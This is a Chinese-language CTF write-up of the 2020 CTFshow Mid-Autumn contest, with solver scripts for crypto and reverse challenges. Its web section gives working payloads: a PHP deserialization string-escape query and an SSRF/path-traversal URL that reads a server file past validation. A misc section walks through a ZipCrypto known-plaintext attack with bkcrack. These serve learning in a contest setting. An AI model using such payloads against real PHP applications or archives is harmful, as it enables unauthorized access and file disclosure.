CTFshow 月饼杯

比赛:CTFshow 月饼杯 平台:https://ctf.show
开始:2020/9/25 18:00
结束:2020/9/27 18:00
题目: web 杂项 密码 逆向 pwn 若干道
规则:
1 比赛期间可以随意讨论,wp须在比赛结束后发布,wp统一发布地址:https://wp.ctf.show
2 公平竞技,独立比赛
3 服务器不要爆破,不要攻击服务器,不要扫描!!!
4 奖品:rank最高的师傅发月饼!rank最高的师傅发月饼!rank最高的师傅发月饼!

出题:crypto1+crypto2+crypto3+misc1


WEB

web1_此夜圆

一江春水何年尽,万古清光此夜圆

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);

class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}

function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}

$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>

反序列化字符逃逸

正常序列化:

1
2
3
4
$uname='FirebaskyFirebasky';
$password='1';
$x=new a($uname,$password);
echo serialize($x);

得到

O:1:"a":2:{s:5:"uname";s:18:"FirebaskyFirebasky";s:8:"password";s:1:"1";}

filter()函数会把其中的Firebasky替换为Firebaskyup,而字符串对应的长度值不变,即

O:1:"a":2:{s:5:"uname";s:18:"FirebaskyupFirebaskyup";s:8:"password";s:1:"1";}

unserialize()反序列化时,字符长度与原始值不一致会反序列化失败,尝试把多出来的部分构造为需要的password值,既保证反序列化正常执行,又能将原始无用的后半部分“挤出去”。

构造";s:8:"password";s:5:"yu22x";}(长度:30)

1
2
3
4
$uname='FirebaskyFirebasky";s:8:"password";s:5:"yu22x";}';
$password='1';
$x=new a($uname,$password);
echo serialize($x);

filter()函数替换后得到

O:1:"a":2:{s:5:"uname";s:48:"FirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";s:1:"1";}

由于FirebaskyupFirebaskyup不足48长度,反序列化失败,可以增加构造的Firebasky,假设要构造 $x$ 个Firebasky,则有 $9x+30=(9+2)x$,解得 $x=15$。

PAYLOAD:

?1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}

web2_故人心

三五夜中新月色,二千里外故人心

Hint: 存在一个robots.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
highlight_file(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
$c=$_GET['c'];
$url[1]=$_POST['url'];
if(is_numeric($a) and strlen($a)<7 and $a!=0 and $a**2==0){
$d = ($b==hash("md2", $b)) && ($c==hash("md2",hash("md2", $c)));
if($d){
highlight_file('hint.php');
if(filter_var($url[1],FILTER_VALIDATE_URL)){
$host=parse_url($url[1]);
print_r($host);
if(preg_match('/ctfshow\.com$/',$host['host'])){
print_r(file_get_contents($url[1]));
}else{
echo '差点点就成功了!';
}
}else{
echo 'please give me url!!!';
}
}else{
echo '想一想md5碰撞原理吧?!';
}
}else{
echo '第一个都过不了还想要flag呀?!';
}

三层绕过。

  • 第一层

    is_numeric()函数限定a必须为数字,可用字符:0123456789e.+-

    strlen()函数限定a在7个字符内,同时又要满足a!=0a*a=0

    考虑到PHP浮点数精度溢出,构造a接近于0,且足够小的数,如xe-xxx的形式,

    开始尝试构造a=9e-999失败,因过小导致a=0,缩小小数位使a不溢出且a*a溢出,a=9e-199成功。

  • 第二层

    纯爆破头爆炸都无果,谁能想到代码类web题会有robots.txt?

    Is it particularly difficult to break MD2?!
    I’ll tell you quietly that I saw the payoad of the author.
    But the numbers are not clear.have fun~~~~
    xxxxx024452 hash("md2",$b)
    xxxxxx48399 hash("md2",hash("md2",$b))

    有了hint好办许多,考虑PHP中的弱类型比较,对于0e开头且后部分纯数字的字符串作0看,爆:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    from Crypto.Hash import MD2

    for i in range(1000):
    h = MD2.new()
    h.update(b'0e'+str(i).zfill(3).encode()+b'024452')
    x=h.hexdigest()
    if x.startswith('0e') and x[2:].isdigit():
    print(i)

    print()
    for i in range(10000):
    h = MD2.new()
    h.update(b'0e'+str(i).zfill(4).encode()+b'48399')
    x=h.hexdigest()
    k = MD2.new()
    k.update(x.encode())
    xx=k.hexdigest()
    if xx.startswith('0e') and xx[2:].isdigit():
    print(i)

    #652
    #6034

    得到b=0e652024452&c=0e603448399

  • 第三层

    过两层得到hint:$flag="flag in /fl0g.txt";

    ssrf绕过。filter_var函数可以解析多种协议,试试不是http的协议:

    url=0://ctfshow.com

    可以成功得到host值绕过filter_varpreg_match函数。

    parse_url函数用来解析URL,并把URL分割成特定的部分,在payload后构造路径可以成功将路径写入path值:

    url=0://ctfshow.com/../../../../../fl0g.txt

web3_莫负婵娟

皎洁一年惟此夜,莫教容易负婵娟

Hint: 环境变量 +linux字符串截取 + 通配符

Hint放出前,利用通配符_爆出了密码,登录后不知下步。

过滤了'(,没想到绕过binary的方法。

纯粹不会,仅是留坑。

补充:全程在想怎么绕过binary,没注意密码位数….

解法参考月饼王师傅wp

MISC

misc1_共婵娟

但愿人长久,千里共婵娟

MISC之王争夺战!

两密一一对应,填入神秘代码

Hint1: 神秘代码中有东西缺失,填补后开阔思维, / 仅是分隔线

Hint2: https://pan.baidu.com/

Hint3: 最后一步:y=ax+b

【预留待写】

misc2_洗寰瀛

天将今夜月,一遍洗寰瀛

来自神秘力量的入侵,掌握核心秘密

https://ctfshow.lanzous.com/iDybQgvymsb

Hint1: 步骤1预计时间为50分钟

Hint2: zip明文攻击

Hint3: https://github.com/kimci86/bkcrack/blob/master/example/tutorial.md

Hint4: flag[0:9]==’flag{TriG’,可能字体文件有问题

原理:

明文攻击顾名思义我们需要知道解密后的内容来反推密钥。所以不是什么Zip压缩包拿来都可以完全只通过处理密文破解,需要做一些分析。

Biham和Kocher在1994年提出了一种针对ZipCrypto的明文攻击 ,仅需12字节的明文信息就可以运行该算法。该算法得到的是ZipCrypto内部的密钥,所以和密码复杂度无关。只有12字节时,复杂度是 $2^{40}$,多提供一字节就去掉不少可能性。

Stay提出了新的一种明文攻击方法,只需要4个明文字节,复杂度为 $2^{63}$,但是可以使用多个文件大幅降低复杂度。Jeong有一些对BK94的改进,他们也使用了同一压缩包内的更多的文件。因为明文的推断常常是看文件头的,所以使用更多文件有一定的合理性。Stay还发现了Winzip的随机数生成漏洞,可以在没有任何明文的情况下使用5个同一压缩包的密文文件,以 $2^{39}$ 复杂度破解(2002年的文章,Winzip我猜肯定已经修复了)。

但是不管怎么样,明文总是需要的,有了十几字节的明文(不一定要在文件头,但是需要知道偏移地址)用BK94破解就非常可行了。事实上我感觉获取十几字节明文的难度和4字节差别不大,所以最主要的还是考虑BK94方法。最大的问题在于怎么获得明文。文件头很好猜,大多数文件十几个字节的文件头还是比较固定的。麻烦的是Zip先压缩后加密,明文是经过压缩处理的。很久以前,Zip是用Implode压缩,压缩后的内容是比较容易确定的,这大概也就是Biham在文章里说有200字节未压缩的明文就够了的原因。现在Zip都是用Deflate压缩,Deflate是已经标准化的压缩格式,先运行LZ77,再运行哈夫曼编码器 。Deflate采用动态哈夫曼编码的时候,将文件分为不同的块,每块最长为64KB。哈夫曼树在每一个块的前部,所以如果有文件头部的64KB,那大概可以算出压缩后的明文(还得考虑压缩参数)。Deflate压出来的文件熵是很高的,需要整个块的信息才有可能推出哈夫曼树,这使得明文攻击的难度大大提升。

虽然猜测明文难度因Deflate的使用大大提高,但是也不是不可能的,关键在于一些格式本来就已经压缩过了,Deflate压不动了,放弃了治疗,基本保留了原文。

BK94的方法实现网上有现成的,有见到比较多的PKCrack。这个软件2003年的,有点老了,还必须提供整个明文文件(这种是用于一个大的压缩包里有小的文件互联网上找得到的)。所以这里我推荐另外一个github上叫kimci86老哥写的版本,这位老哥写的性能好,C++代码漂亮,重要的是提供了偏移选项,用起来更灵活。具体使用方法参见他仓库里的example/tutorial.md。

参考:https://zhuanlan.zhihu.com/p/129855130

结合Hint2和Hint3,使用bkcrack工具照步骤复现即可。

查看压缩文件信息:unzip -Z Triglavian.zip

获取CRC值:unzip -Z -v Triglavian.zip Triglavian.png | grep CRC(2c810480)

生成明文部分文件:echo -n -e '\x2c\x89\x50\x4e\x47\x0d\x0a\x1a\x0a\x00\x00\x00\x0d\x49\x48\x44\x52' > header.txt

明文攻击:./bkcrack -C Triglavian.zip -c Triglavian.png -p header.txt -o -1

约20+min得到密钥:be056038 a143c0c 1ea08ca5

还原出原文件:./bkcrack -C Triglavian.zip -c Triglavian.png -k be056038 a143c0c 1ea08ca5 -d Triglavian.png

Triglavian

奇怪的编码肯定是flag,用关键字“Triglavian 密码”知为深渊三神裔字体(Triglavian fonts),也叫特格拉文,对照密码表解码(修改其中的g为G)。

参考:

http://eve.netease.com/forum.php?mod=viewthread&tid=6742

https://www.ackurdeeve.com/201902/triglavianfonts/

附加misc_问青天

明月几时有,拿饼问青天

密码为你听到的一句话

稍微有点难度 根据现实改编 东施效颦而已

附件:welcome.zip

Hint1: gif图片中两个字母o代表氢原子的能级,当氢原子的电子发生能级跃迁时,间隔为10亿分之7秒

Hint2: 小姐姐声音是aiff格式

分离gif图片,得到两帧对应的bmp图片,

16进制查看gif文件,结合Hint2,可以分离出1个jpg图片文件+1个aiff音频文件+1个加密zip文件。

bmp图片和jpg图片均有特殊符号,暂不知用处。

播放aiff音频,将速度调慢,得到内容“欢迎ctfshow的小哥哥来玩”,可解密zip文件,得到1个png图片文件。、

c

尝试长换1短换0,二进制转换字符,发现就是flag。

原来Hint1和bmp+jpg图片都是虚晃一枪,辛苦群主PS了啊…

CRYPTO

crypto1_中秋月

此夜中秋月,清光十万家

自动钥匙⊕

明文全大写,得到后转小写,并以_连接单词。

格式:flag{xxx}。

Hint1: 某古典密码

Hint2: 经此古典密码加密后,密文还是大写

Hint3: 该古典密码的密钥形式:keyword+plaintext (+plaintext…+plaintext)

(内容部分引用月饼王师傅wp 懒…

Autokey密码+异或操作。

先爆破得到异或结果:

1
2
3
4
5
6
7
8
9
s='fsskryenvkm~jl{ejs}jwflzsnpgmifq{{j{|suhzrjppnx|qvixt~whu'
for i in range(255):
res=''
for j in range(0,len(s)):
temp = ord(s[j])^i
if 65<=temp<=90 or 97<=temp<=122: #由大小写字母构成
res += (chr(temp))
if len(res)==len(s):
print(res)

结合Hint2,发现全大写字符串:YLLTMFZQITRAUSDZULBUHYSELQOXRVYNDDUDCLJWEMUOOQGCNIVGKAHWJ

再上Autokey爆破脚本,得key:KEYFORFLAG,明文:OHNOYOUFINDTHEFLAGTHEFLAGFORYOUISDOYOULIKECLASSICALCIPHER

crypto2_月自圆

世远人何在?天空月自圆。

Baby (Don’t) Cry

(内容部分引用月饼王师傅wp 懒…

明文长度为71位,加密后为142位。
这里由于a不大,salt长度也不长,且明文m中存在flag,正好可以用这几位去爆破出asalt
flag在明文m中的位置是53,对应密文c中的位置是105。flag出现的位置正好对应salt的位置。

写脚本爆出asalt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import string
lower = string.printable[10:36]

x0=set()
y0=dict()
for a in range(50,101):
for s0 in lower:
if hex((102*a+ord(s0)) % 128) == '0x1c':
x0.add(a)
y0[a]=s0

x1=set()
y1=dict()
for a in range(50,101):
for s1 in lower:
if hex((108*a+ord(s1)) % 128) == '0x29':
x1.add(a)
y1[a]=s1

x2=set()
y2=dict()
for a in range(50,101):
for s2 in lower:
if hex((97*a+ord(s2)) % 128) == '0x56':
x2.add(a)
y2[a]=s2

x3=set()
y3=dict()
for a in range(50,101):
for s3 in lower:
if hex((103*a+ord(s3)) % 128) == '0x66':
x3.add(a)
y3[a]=s3

a=(x0&x1&x2&x3).pop()
print(a)
print(y0[a])
print(y1[a])
print(y2[a])
print(y3[a])

得到后,解密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
a = 67
si=b'jesq'
si=list(si)
print(si)
c = '3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a'
cc=list()
for i in range(len(c)//2):
cc.append(int(c[2*i:2*i+2],16))
print(cc)

flag=''
for i in range(len(cc)):
for m in range(0,127):
if (m*a+si[i%4])%128 == cc[i]:
flag+=chr(m)
print(flag)

crypto3_多少离怀

多少离怀起清夜,人间重望一回圆。

Weird Γ(x)?

Hint1: 注意伽马函数Γ(x)和阶乘x!的关系式

Hint2: 威尔逊定理

(内容部分引用月饼王师傅wp 懒…

我们需要求gamma(B+2)%A,根据伽马函数Γ(x)和阶乘x!的关系式可知(B+1)! % A
而根据威尔逊定理可知(A-2)! % A = 1
x = (A-2)!/(B+1)!y = (B+1)!,所以x * y ≡ 1 (mod A)
而我们需要求的是y % A,y是x关于A的逆元。所以求x % A的逆元即可。
这里由于A、B相差还不到10万,所以很容易求解出x % A

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from Crypto.Util.number import getPrime,isPrime
import gmpy2

def nextPrime(n):
n += 2 if n & 1 else 1
while not isPrime(n):
n += 2
return n

def factorial_mod(A,B):
ans = 1
tmp = pow(-1,1,A)
for i in range(B+1,A):
ans = (ans*gmpy2.invert(i,A))%A
return (ans*tmp)%A

pA = 6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723982789
pB = 6814157460586876042804041951834304833424062437744287469257313954502540797027261340622077218188033865281590529907571701131297782609357118357982463723922147
qA = 7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477881291
qB = 7145646366857234331692232566211321498245533826533958883943688415057871253511271731661019642050252046201115975396366275083424623329930477623781348477807457
n = 4451906216583258787166698210560165433649728830889954633721198623488802305844782492171757604711145165920462286487680020347239300947225371917344589502941576734875830871998499135120227347066586066943289430156378296665669974728569678779668142712266780949126509440672273927433367293606776081254094682033167575930701870261219046464773708974194213798032346187463443317770758989273370488582862531630356263732232300508706676725203199729764016766683870925164232508407363688370458877688991733322055785233669885166225464068579486683574954699370175267031949720967812902215635630884502987094547523361027411501285252862476410213277925430392164226297316310465146003494714018456407793759170649913180823814850170639706664167149612984905056804131124522209409607977589884632999710708045656852149371030046919242039957767777840304466948549383597755811307383659188216421501912831203089570725388153416013596114462069777713822433178099904907224119
c = 1996198968748552041728429851810599627895157160099076033250854211280074825148767841655949210593646824507865483166496070951130337321360509148527292165245205219296211294789087358959553387392928560150390604911087085313000622842025416521494799132969818997182731021267942464323979261593380113740152841984062184326431879167516288834455296913822921806893572566867611541664848820247889274979245086440402996661226884320574824077910315143756471444347386795428338020162169391827182914043434253974549636668126789355991920452920806351939782281969098470635517019120996509180703896707990501216102290302162705699788457579330150149320348175742131887213742989509004374645723471497302400169849858253644606818874098604333865973357374444445825761600866472906771935670261641342221394488068630591190697667016958881530367047928341661857241378511420562236766886349565409774340321441504290366223243635878057759623855735794209219474650425139791831374
e = 0x10001
p = nextPrime(factorial_mod(pA,pB+1))
q = nextPrime(factorial_mod(qA,qB+1))
r=gmpy2.iroot(n//(p*q*q),3)[0]
phi=(p-1)*q*(q-1)*r*r*(r-1)
d=gmpy2.invert(e,phi)
flag=gmpy2.powmod(c,d,n)
import binascii
print(binascii.unhexlify(hex(flag)[2:]))

REVERSE

re1_西北望乡

西北望乡何处是,东南见月几回圆。

附件:re

IDA反编译,main函数中关键代码:

re1

代码逻辑:

flag长度45,取flag的第3、6、13、36个字符值及13共五个数作为key,假设为 $k_0,k_1,k_2,k_3,k_4$;

第一个for循环分别计算 $k_4^5,k_3^4,k_2^3,k_1^2,k_0^1$,存入b数组:$b_0,b_1,b_2,b_3,b_4=k_4^5,k_3^4,k_2^3,k_1^2,k_0^1$;

第二个for循环将flag分为9组,每组5个字符,对每组字符,假设该组字符为 $c_0,c_1,c_2,c_3,c_4$,计算

$\sum=c_0b_0+c_1b_1+c_2b_2+c_3b_3+c_4b_4=c_0k_4^5+c_1k_3^4+c_2k_2^3+c_3k_1^2+c_4k_0$

最后判断9个求和得到的值是否与arr数组相等。

由于flag前五字符为flag{,即为第1组, 有k0=ord('g'),又k4已知,可以爆破key中的 k1k2k3值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import string
dic=string.ascii_lowercase+'_'
arr=[11377526307,11291274669,10667335421,12105207237,12005384512,10853488462,12005544354,10651566902,5399147315,11333307]

for x in dic:
for y in dic:
for z in dic:
k=ord('f')*(13**5)+ord('l')*(ord(x)**4)+ord('a')*(ord(y)**3)+ord('g')*(ord(z)**2)+ord('{')*ord('g')
if k==arr[0]:
print(x,y,z)
#101 101 107
#x=k3=101
#y=k2=101
#z=k1=107

key=[103,107,101,101,13]

照葫芦画瓢,对剩下8组每组分别爆破即可:

(纯小写字母+_情况下最后一组无结果,增加数字)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import string
dic=string.ascii_lowercase+'_'

key=[103,107,101,101,13]
arr=[11377526307,11291274669,10667335421,12105207237,12005384512,10853488462,12005544354,10651566902,5399147315,11333307]

def bruteforce_mid(val):
for a in dic:
for b in dic:
for c in dic:
for d in dic:
for e in dic:
sum=ord(a)*(key[4]**5)+ord(b)*(key[3]**4)+ord(c)*(key[2]**3)+ord(d)*(key[1]**2)+ord(e)*key[0]
if sum==val:
return a+b+c+d+e

def bruteforce_last(val):
dic=dic=string.ascii_lowercase+string.digits+'_'
for a in dic:
for b in dic:
for c in dic:
for d in dic:
sum=ord(a)*(key[4]**5)+ord(b)*(key[3]**4)+ord(c)*(key[2]**3)+ord(d)*(key[1]**2)+ord('}')*key[0]
if sum==val:
return a+b+c+d+'}'

flag='flag{'
for i in range(1,8):
flag+=bruteforce_mid(arr[i])
print(flag)
flag+=bruteforce_last(arr[8])
print(flag)

#flag{okok_here_is_your_flag_where_are_my_36d}

re2_归心

满月飞明镜,归心折大刀

你应该见过python代码打包成的exe,猜猜这是什么语言

附件:readme.zip

拖入IDA查看字符串,发现java.exe/openjdk/jre字样,猜测为java打包成的jar转的exe文件。

jar转exe大多使用exe4j工具,exe4j只是将java程序,使用自己的方式打包了一下而已,所以运行的时候还是会转成jar来运行,而jar文件必定存储在本地的固定位置。所以反编译的步骤如下:

  1. 运行exe程序;
  2. 到C盘搜索readme.jar,找到它及其依赖jar包(用Everything可快速搜索);
  3. 使用jd-gui反编译readme.jar,查看源码找到flag。

re3_若无月

此夜若无月,一年虚过秋

misc2后续故事
你所看到的,是一个被神秘力量入侵的屏幕
flag格式为flag/your_flag/

Hint1: base64 is trap

Hint2: 预期解法hint:魔改RC4
认可的非预期解法hint:1/192几率直接显示flag

赛后对照着RC4算法啃做出。

IDA-F5找到关键字“Triglavian”+一串类似base64密文+一串类似base64码表,跟进关键字进入sub_401360函数,在case 1u内找到关键代码:

20200929193815

对照标准RC4算法:

RC4算法包括初始化算法(KSA)伪随机子密码生成算法(PRGA)两大部分。
(RC4 algorithm including initialization algorithm (KSA) and pseudo-random sub-password generation algorithm (PRGA) two parts.)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
def KSA(key):
keylength = len(key)

S = range(256)

j = 0
for i in range(256):
j = (j + S[i] + key[i % keylength]) % 256
S[i], S[j] = S[j], S[i] # swap

return S

def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i] # swap

K = S[(S[i] + S[j]) % 256]
yield K

def RC4(key):
S = KSA(key)
return PRGA(S)

if __name__ == '__main__':
key = 'Key'
plaintext = 'Plaintext'

def convert_key(s):
return [ord(c) for c in s]
key = convert_key(key)

keystream = RC4(key)

import sys
for c in plaintext:
sys.stdout.write("%02X" % (ord(c) ^ keystream.next()))
print

sub_401360函数中实现了KSA部分,可以发现改动了初始key数组(使用的newkey数组为aTriglavian变量中各字母对应码表的下标值,而非简单的字母对应ASCII值)和数组大小(使用64,非256)。

再往下看未发现PRGA部分,回到汇编代码文本视图,全局搜索S[,发现另一个函数sub_401160也存在:

20200929193800

跟进sub_501160函数,发现RC4算法的PRGA部分:

20200929193808

可以发现最后的异或部分,选取密文中每个字母,得到对应码表的下标值k,与标准生成的密钥流S[(S[i] + S[j]) % 64]异或后得到新下标值,替换成码表中对应的字母。由于RC4的对称性,结果即为明文。

魔改RC4解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
key = 'Triglavian'
lenk = len(key)
cipher = '20c1LOP2FnBOCMhPbCdtXTHmpgoK7g1sPN0KCcaBs3sWx/5Bob1t6IJaahW6SUGpTW11DmhJGeTj3UCSPCOZYaLw9qmg80kN56XF+dNhBYlfKbWqwSKJl+zTBvH0yBLDy7nwJ1W/SeBW+LaUV1Dq4FRnogzD5FOHNknyfyMerA3o5lgRq03f2M5C7ixuJ6WK'
dict = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
newkey = [-1]*64

def KSA(key):

S = list(range(64))

j = 0
for i in range(64):
j = (j + S[i] + newkey[i]) % 64
S[i], S[j] = S[j], S[i] # swap

return S

def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 64
j = (j + S[i]) % 64
S[i], S[j] = S[j], S[i] # swap

K = S[(S[i] + S[j]) % 64]
yield K

def RC4(key):
S = KSA(key)
return PRGA(S)

if __name__ == '__main__':
i = 0
while 1:
j = 0
while key[i%lenk] != dict[j]:
j += 1
if j >= 64:
break
newkey[i] = j
i += 1
if i >= 64:
break
print(newkey)
#newkey = [19, 43, 34, 32, 37, 26, 47, 34, 26, 39, 19, 43, 34, 32, 37, 26, 47, 34, 26, 39, 19, 43, 34, 32, 37, 26, 47, 34, 26, 39, 19, 43, 34, 32, 37, 26, 47, 34, 26, 39, 19, 43, 34, 32, 37, 26, 47, 34, 26, 39, 19, 43, 34, 32, 37, 26, 47, 34, 26, 39, 19, 43, 34, 32]

keystream = RC4(newkey)
flag = ''
for c in cipher:
flag += dict[dict.find(c) ^ keystream.__next__()]
print(flag)

PWN

pwn_天涯共此时

海上生明月,天涯共此时

附件:pwn.zip

纯粹不会,仅是留坑。